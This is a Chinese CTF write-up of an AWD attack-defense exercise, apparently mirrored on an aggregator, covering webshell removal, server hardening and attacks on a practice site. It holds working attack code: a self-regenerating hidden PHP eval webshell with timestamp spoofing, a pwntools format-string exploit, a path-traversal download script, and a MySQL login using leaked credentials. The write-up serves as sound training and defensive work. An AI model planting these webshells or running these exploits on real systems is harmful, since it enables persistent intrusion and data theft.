基于AWD攻防对Web漏洞的研究

写在前面

Copyright © [2023] [Myon⁶]. All rights reserved.

基于awd攻防环境和xshell远程连接,配合kali linux渗透系统、蚁剑、D盾、河马、Seay代码审计系统等,演示现实中网站可能存在的漏洞,对网站进行漏洞扫描,渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等,以获取目标shell,并对网站漏洞进行修复与加固,总结防御措施,增强网络安全意识。

本人CSDN博客地址:http://myon6.blog.csdn.net

期待大家的关注与支持!

目录

一、背景介绍

1、AWD赛制

2、Web安全

3、网络空间安全

二、大致流程

三、详细过程

1、xshell连接与html目录下载

2、Webshell后门文件查杀与Seay代码审计系统

3、漏洞修复与系统加固

(1)后门文件查杀

(2)加固用户名密码(用户层)

(3)加固SQL数据库(服务层)

(4)改网站后台密码

4、对网站进行渗透测试

(1)mysql数据库远程连接

(2)文件上传漏洞

(3)任意文件读取漏洞

(4)Redis未授权访问漏洞

(5)pwn二进制漏洞

5、基于条件竞争对不死马的研究

四、结果分析

五、体会与总结


一、背景介绍

1、AWD赛制

AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。

2、Web安全

随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。

3、网络空间安全

党的十八大以来,我国网络安全和信息化事业取得重大成就,党对网信工作的领导全面加强,网络空间主流思想舆论巩固壮大,网络综合治理体系基本建成,网络安全保障体系和能力持续提升,网信领域科技自立自强步伐加快,信息化驱动引领作用有效发挥,网络空间法治化程度不断提高,网络空间国际话语权和影响力明显增强,网络强国建设迈出新步伐。

二、大致流程

1、基于Bugku的awd攻防环境,使用xshell与服务器建立远程连接,熟悉awd的基本流程。

2、压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计。

3、对网站进行漏洞修复与系统加固,包括加固用户名密码,加固SQL数据库,以及可能存在的弱口令与内核溢出提权。

4、对网站进行渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等。

5、基于条件竞争,研究对不死马(内存马)进行写入利用,shell获取,以及针对不死马的防御处理手段。

三、详细过程

1、xshell连接与html目录下载

拿到账号密码后使用xshell连接,输入主机IP和端口号:

进行用户身份验证,输入给的用户名和密码

连接成功后,切换到html目录

将var/www下的html目录下载下来 (可以使用命令打包,也可以使用xftp传输)

2、Webshell后门文件查杀与Seay代码审计系统

将目录扔给D盾和河马进行扫描查杀:

使用seay进行代码审计:

3、漏洞修复与系统加固

(1)后门文件查杀

查看一下前面扫描到的后门文件 config.php

分析:

`$poc` 变量包含了字符串 "a#s#s#e#r#t";使用 `explode("#", $poc)` 函数将字符串分割成数组 `$poc_1`,每个元素都是 "a"、"s"、"s"、"e"、"r"、"t";

然后,将数组 `$poc_1` 的元素连接起来,形成字符串 `$poc_2`,其值为 "assert";最后,代码执行了 `$poc_2($_GET['s'])`,它将执行用户通过 GET 请求传递的参数 's' 对应的值,作为 PHP 代码来执行;我们只需要控制 's' 参数的值,便可以在服务器上执行任意的 PHP 代码,这种代码结构常被称为 "PHP代码注入",因为它允许我们注入恶意代码,直接删掉该文件。

(2)加固用户名密码(用户层)

修改linux用户密码

使用命令

Passwd

输入之后根据提示修改密码即可

删除其他可登录用户

使用命令查看/etc/passwd 文件

cat /etc/passwd

第一个字段显示用户名,第二个字段显示密码状态,如果是 x,则表示密码存储在 /etc/shadow 文件中,第三个字段显示用户 ID,第四个字段显示组 ID;

后面字段依次显示:存储用户信息、主目录的路径、用户的 shell

这里我们配合grep命令查询可登录用户:

cat /etc/passwd |grep bash #有bash表示用户可以登录

我这里只是以自己服务器为例做演示,实际比赛环境肯定不止有root一个可登录用户,并且比赛给我们的账号密码是一个低权限用户,用于访问服务器,一般为非root权限。

如果有权限就删除用户:

userdel -r 用户名

(3)加固SQL数据库(服务层)

进入mysql数据库:mysql -uroot -proot

修改mysql数据库远程连接的密码:

update mysql.user set password=password('新密码') where user='root';

#password为加密方式,不以明文存储,也可以使用md5('新密码')

一定注意:

MySQL 5.7.6版本以下,才能使用此方法来修改密码,从MySQL 5.7.6版本起,user表使用authentication_string列代替之前版本中的password列来存储密码,并且它删除了password列。

我们使用最新的列名进行修改:update mysql.user set authentication_string=password('新密码') where user='用户名';

先查一下它原本的信息(登录IP,用户名,密码)

select host,user,authentication_string from mysql.user;

而那个密码并不在cms库,而是在mysql数据库下的user表

修改cms的密码,假设改为111111:

update mysql.user set authentication_string=password('111111') where user='cms';

修改成功后记得刷新配置

删除匿名用户

注意:默认会存在匿名用户登录(user为空的用户),我们需要删掉它:

delete from mysql.user where user='';

完成之后我们刷新设置:flush privileges;

(4)改网站后台密码

从网站页面或者源码或者目录扫描工具找到后台页面,然后尝试弱口令登入后改管理员密码。

也可以在数据库里面直接修改:

4、对网站进行渗透测试

(1)mysql数据库远程连接

从网站页面入手

是一个登录界面,尝试一些弱口令登录,发现不行

找到登录界面的文件login.php,检索一些关键字(password、email)

这里并没有发现什么有用信息,继续去找和这个文件相关的文件,容易发现它还包含了两个文件:

经过查看head.php和connect.php,最终在后者发现了数据库远程连接的账号密码:

$username = "cms";

$password = "eb0d39d2931c480f";

使用命令进行mysql远程连接

mysql -h47.104.192.166 -P3306 -ucms -peb0d39d2931c480f

连上之后我们查它的数据库和表,最后在cms库下的users表里发现了页面的登录邮箱和密码:

admin@bugku.com

21232f297a57a5a743894a0e4a801fc3

这里密码进行了加密,解md5得到密码为 admin

在cms库下有一个flag表,我们尝试查它的具体内容,并没有flag

先去登录网站页面

(2)文件上传漏洞

进去之后很容易发现存在文件上传漏洞

我先上传的是普通一句话木马,成了,没有任何绕过

上传成功后直接上蚁剑

(3)任意文件读取漏洞

<?php

error_reporting(0);

// 接受 GET 方式传递过来的 file 值

$f_name = $_GET['src'];

$file_path = "../resources/".$f_name;

if(file_exists($file_path)) {

    header('Content-Type: application/octet-stream');

    header('Content-Disposition: attachment; filename="'.basename($file_path).'"');

    header('Expires: 0');

    header('Cache-Control: must-revalidate');

    header('Pragma: public');

 header('Content-Length: ' . filesize($file_path));

    flush();

    readfile($file_path);

    die();

} else {

    http_response_code(404);

}

?>

代码分析:

1. `error_reporting(0);` 语句用于关闭PHP错误报告,这意味着在运行时不会显示任何PHP错误或警告。

2. 通过 `$_GET['src']` 获取名为 'src' 的GET参数的值,该值应该是要下载的文件名。

3. 构建文件路径 `$file_path`,将 "../resources/" 与 GET 参数 'src' 的值连接起来,形成完整的文件路径。

4. 使用 `file_exists($file_path)` 检查文件是否存在。如果文件存在,继续执行下面的代码块。

5. 设置一系列HTTP响应头,以指定下载文件的各种属性,如文件类型、文件名、缓存控制等。

6. 使用 `readfile($file_path)` 输出文件内容,将文件发送到浏览器进行下载。

7. `die()` 语句用于终止PHP脚本的执行,确保只返回文件内容,而不会继续执行其他代码。

8. 如果文件不存在,使用 `http_response_code(404)` 设置HTTP响应代码为404(文件未找到。

允许用户通过GET请求下载服务器上的文件,如果文件存在的话,脚本word.php位于api目录下,以get的方式请求参数src,我们知道flag是在根目录下面,这里可以使用 ../ (访问上一级目录)来实现目录遍历攻击。

(4)Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

(5)pwn二进制漏洞

这里直接上exp攻击脚本:

from pwn import *

context.terminal = ['termite', '-e']

#p = gdb.debug('./easy_string_format', gdbscript='b *main+125\nc')

p = process('./echoasaservice')

p.recvline()

payload = bytearray()

payload += "%8$lx.%9$lx.%10$lx".encode()

p.sendline(payload)

flag = p.recvline().decode('utf-8').rstrip()

split = flag.split('.')

endian = "".join(["".join(reversed([j[i:i+2] for i in range(0, len(j), 2)])) for j in split])

print(bytearray.fromhex(endian).decode())

5、基于条件竞争对不死马的研究

这里以PHP不死马为例

测试代码:

<?php

    ignore_user_abort(true);

    set_time_limit(0);

    unlink(__FILE__);

    $file = '.test.php';

    $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';

    while (1){

        file_put_contents($file,$code);

        system('touch -m -d "2018-12-01 09:10:12" .test.php');

        usleep(5000);

    }

?>

上面代码即为最简单的不死马,其目的是创建一个名为".test.php"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。

关于代码的详细解释:

ignore_user_abort(true);

设置PHP脚本忽略用户中止连接,即使用户在浏览器中停止加载页面,脚本仍然会继续执行。

set_time_limit(0);

设置脚本执行时间限制为0,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。

unlink(__FILE__);

删除当前正在执行的PHP脚本文件,这是一种尝试隐藏脚本的行为,以防止被发现。

$file = '.test.php';

定义一个变量$file,它包含了要写入的文件名,即".test.php"。

文件最前面带上.就会变成隐藏文件

$code='<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';

定义一个变量$code,其中包含了PHP代码。这段代码首先检查通过GET请求传递的"pass"参数的MD5哈希值是否等于"098f6bcd4621d373cade4e832627b4f6",如果验证成功,它会尝试执行通过POST请求传递的名为"test"的PHP代码。

while (1){...}

这是一个无限循环,它将不断执行以下操作:

file_put_contents($file, $code);

将上述定义的$code写入文件$file,也就是".test.php",以便不断更新文件内容。

system('touch -m -d "2018-12-01 09:10:12" .test.php'); -

使用system函数,它会执行系统命令touch,以修改".test.php"文件的修改时间为"2018-12-01 09:10:12",这样可以欺骗文件的最后修改时间,以防止检测。

usleep(5000);

等待5毫秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。

其中 098f6bcd4621d373cade4e832627b4f6 是加密后的md5值,之所以要进行加密是防止我们的木马被其他队伍利用,这里只是为了测试,加密前内容为test

上传该PHP文件后进行访问

访问后会在该路径下循环生成名字为 .test.php 的不死马隐藏文件

使用蚁剑或者菜刀连接生成的webshell:

http://文件所在路径/.test.php?pass=test

连接密码:test

尝试删除该文件,你会发现无法删除,这就是不死马,因为它已经写入了进程。

使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除,只有查看新增文件才能发现它:

find ./ -cmin -30  #查看30分钟内创建的文件

处理方法:

1、写入同名文件克制不死马

测试代码:

<?php

    ignore_user_abort(true);

    set_time_limit(0);

    unlink(__FILE__);

    $file = '.test.php';

    $code = 'come on!';

    while (1){

        file_put_contents($file,$code);

        system('touch -m -d "2018-12-01 09:10:12" .test.php');

          usleep(1000);

    }

?>

注意:usleep的时间一定要比不死马小,$code修改为无害内容即可

假设文件命名为killshell.php,上传该文件并访问它

注意:一定要先去访问它一遍才能触发写入文件

再次尝试连接webshell发现已经连不上了,返回数据为空

在服务器查看webshell的内容

可以看到,内容不再是一句话木马,而变成了我们后面写入的无害内容

2、使用条件竞争查杀不死马

测试代码:

这是一个bash脚本

#!/bin/bash

while true

do

#kill -9 进程ID

rm -rf .test.php

done

如果能查到不死马的进程ID也可以kill命令和rm命令同时进行

使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程,新建查杀脚本:vim rmshell.sh

添加最高权限:chmod 777 rmshell.sh

在后台不断运行该脚本:nohup ./rmshell.sh & 

再次查看不死马,发现已经不存在了

四、结果分析

1、通过压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计,找到了存在的webshell后面文件并成功清理,加固了自己的网站和数据库密码。

2、基于扫描到和存在的漏洞进行渗透测试,成功修改掉数据库管理员密码,登录网站后台并且拿下网站后台权限。

3、成功在测试网站种下不死马,这样可以实现持续长久的维持后门权限。

基于条件竞争自己编写脚本,成功处理掉了不死马。

五、体会与总结

1、威胁感知与应对:通过实施AWD(Attack and Defense)攻防对Web漏洞的研究,我们深刻了解了攻击者的思维方式和策略,这有助于提高对潜在威胁的感知和应对能力。我们学会了从攻击者的角度审视Web应用程序,以更好地保护它们免受恶意入侵。

2、弱点的深入了解:研究过程中,我们不仅发现了常见的Web漏洞类型,还深入了解了它们的工作原理和利用方法。这有助于我们更好地理解弱点的本质,从而能够更好地修复和防范这些漏洞,提高Web应用程序的安全性。

3、持续改进的必要性:AWD攻防研究不仅揭示了Web漏洞的存在,还强调了安全性是一个持续改进的过程。我们必须不断更新和改进我们的防御策略,以适应不断演变的威胁和攻击技巧。这项研究强调了安全团队需要保持警惕,不断学习和提高,以确保Web应用程序的持续安全。

注:Copyright © [2023] [Myon⁶]. All rights reserved.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/234256.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【jvm从入门到实战】(九) 垃圾回收(2)-垃圾回收器

垃圾回收器是垃圾回收算法的具体实现。 由于垃圾回收器分为年轻代和老年代&#xff0c;除了G1之外其他垃圾回收器必须成对组合进行使用 垃圾回收器的组合使用关系图如下。 常用的组合如下: Serial&#xff08;新生代&#xff09; Serial Old&#xff08;老年代&#xff09; Pa…

GNSS模块在海洋领域的应用

随着科技的不断进步&#xff0c;GNSS&#xff08;全球导航卫星系统&#xff09;模块在各个领域的应用逐渐成为日常生活的一部分。在海洋领域&#xff0c;GNSS技术为航海、渔业、海洋科学研究等提供了关键的支持。本文将深入探讨GNSS模块在海洋领域的广泛应用&#xff0c;以及它…

Redis介绍与使用

1、Nosql 1.1 数据存储的发展 1.1.1 只使用Mysql 以前的网站访问量不大&#xff0c;单个数据库是完全够用的。 但是随着互联网的发展&#xff0c;就出现了很多的问题&#xff1a; 数据量太大&#xff0c;服务器放不下 访问量太大&#xff0c;服务器也承受不了 1.1.2 缓存…

移动端自适应

1.普通html页面 一般使用px定义&#xff0c;不会进行适配 移动端项目&#xff1a;从不同的终端保持页面的一致性&#xff08;自适应&#xff09;,使用rem相对单位&#xff0c;rem是相对于根节点html的font-size的值进行动态换算的值 2.普通html页面进行适配 普通页面中&…

wps三级标题不对齐

段落中设置首行缩进即可对其 效果&#xff1a; 使用格式刷去将其他三级标题同步

使用yarn安装electron时手动选择版本

访问1Password或者其他可以提供随机字符的网站&#xff0c;获取随机密码运行安装命令 操作要点&#xff0c;必须触发Couldnt find any versions for "electron" that matches "*"才算成功 将复制的随机密码粘贴到后面 例如&#xff1a;yarn add --dev elec…

Java基础知识回顾

Java基础 一、Java概述 1、Java技术体系平台 类型简介JavaSE 标准版支持面向桌面级的应用JavaEE 企业版支持为企业开发的应用JavaME 小型版运行在移动终端的平台 2、Java重要的特点 面向对象的语言&#xff08;OOP&#xff09; 健壮的语言&#xff0c;具有强类型转换、异常…

【Docker】基础篇

文章目录 Docker为什么出现容器和虚拟机关于虚拟机关于Docker二者区别&#xff1a; Docker的基本组成相关概念-镜像&#xff0c;容器&#xff0c;仓库安装Docker卸载docker阿里云镜像加速docker run的原理**为什么容器比虚拟机快**Docker的常用命令1.帮助命令2.镜像相关命令3.容…

SpringMVC拦截器

拦截器 1.拦截器概念2.拦截器开发2.1环境准备2.2拦截器开发流程 3 拦截器参数1. 前置处理方法2. 后置处理方法3 完成处理方法4.配置多个拦截器 1.拦截器概念 (1)浏览器发送一个请求会先到Tomcat的web服务器 (2)Tomcat服务器接收到请求以后&#xff0c;会去判断请求的是静态资源…

可实现RSSD云硬盘120万IOPS的SPDK IO路径优化

一. 简介 用户对超高并发、超大规模计算等需求推动了存储硬件技术的不断发展&#xff0c;存储集群的性能越来越好&#xff0c;延时也越来越低&#xff0c;对整体IO路径的性能要求也越来越高。在云硬盘场景中&#xff0c;IO请求从生成到后端的存储集群再到返回之间的IO路径比较…

【Java】网络编程-UDP字典服务器客户端简单代码编写

上文讲了UDP回响服务器客户端简单代码编写 本文将讲述UDP字典服务器客户端简单代码编写。所谓回显&#xff0c;就是指客户端向服务器发送一个报文&#xff0c;从服务器那里得到一条一模一样的回响报文 而我们的字典功能呢&#xff0c;则是实现了输入中文&#xff0c;得到对应…

智能物联网汽车3d虚拟漫游展示增强消费者对品牌的认同感和归属感

汽车3D虚拟展示系统是一种基于web3D开发建模和VR虚拟现实技术制作的360度立体化三维汽车全景展示。它通过计算机1:1模拟真实的汽车外观、内饰和驾驶体验&#xff0c;让消费者在购车前就能够更加深入地了解车辆的性能、特点和设计风格。 华锐视点云展平台是一个专业的三维虚拟展…

Pytorch:backward()函数详解

.backward() .backward() 是 PyTorch 中用于自动求导的函数&#xff0c;它的主要作用是计算损失函数对模型参数的梯度&#xff0c;从而实现反向传播算法。 在深度学习中&#xff0c;我们通常使用梯度下降算法来更新模型参数&#xff0c;使得模型能够逐步逼近最优解。 在梯度下…

linux中deadline调度原理与代码注释

简介 deadline调度是比rt调度更高优先级的调度&#xff0c;它没有依赖于优先级的概念&#xff0c;而是给了每个实时任务一定的调度时间&#xff0c;这样的好处是&#xff1a;使多个实时任务场景的时间分配更合理&#xff0c;不让一些实时任务因为优先级低而饿死。deadline调度…

(保姆级教程)一篇文章,搞定所有Linux命令,以及tar解压缩命令,wget、rpm等下载安装命令,Linux的目录结构,以及用户和用户组

文章目录 Linux命令1. Linux目录结构2. 基本命令&#xff08;了解&#xff09;3. 目录&#xff08;文件夹&#xff09;命令列出目录切换目录创建目录删除目录复制目录移动和重命名目录 4. 文件命令创建文件编辑文件编辑文件时的其他操作 查看文件移动/重命名文件复制文件删除文…

机器学习---聚类(原型聚类、密度聚类、层次聚类)

1. 原型聚类 原型聚类也称为“基于原型的聚类” (prototype-based clustering)&#xff0c;此类算法假设聚类结构能通过一 组原型刻画。算法过程&#xff1a;通常情况下&#xff0c;算法先对原型进行初始化&#xff0c;再对原型进行迭代更新求解。著 名的原型聚类算法&#…

基于Redis限流(aop切面+redis实现“令牌桶算法”)

令牌桶算法属于流量控制算法&#xff0c;在一定时间内保证一个键&#xff08;key&#xff09;的访问量不超过某个阈值。这里的关键是设置一个令牌桶&#xff0c;在某个时间段内生成一定数量的令牌&#xff0c;然后每次访问时从桶中获取令牌&#xff0c;如果桶中没有令牌&#x…

【机器学习】梯度下降法:从底层手写实现线性回归

【机器学习】Building-Linear-Regression-from-Scratch 线性回归 Linear Regression0. 数据的导入与相关预处理0.工具函数1. 批量梯度下降法 Batch Gradient Descent2. 小批量梯度下降法 Mini Batch Gradient Descent&#xff08;在批量方面进行了改进&#xff09;3. 自适应梯度…

C++相关闲碎记录(17)

1、IO操作 &#xff08;1&#xff09;class及其层次体系 &#xff08;2&#xff09;全局性stream对象 &#xff08;3&#xff09;用来处理stream状态的成员函数 前四个成员函数可以设置stream状态并返回一个bool值&#xff0c;注意fail()返回是failbit或者badbit两者中是否任一…

【重点】【DP】152.乘积最大的子数组

题目 法1&#xff1a;DP 参考&#xff1a;https://blog.csdn.net/Innocence02/article/details/128326633 f[i]表示以i结尾的连续子数组的最大乘积&#xff0c;d[i]表示以i结尾的连续子数组的最小乘积 。 如果只有正数&#xff0c;我们只需要考虑最大乘积f[i]&#xff1b;有负…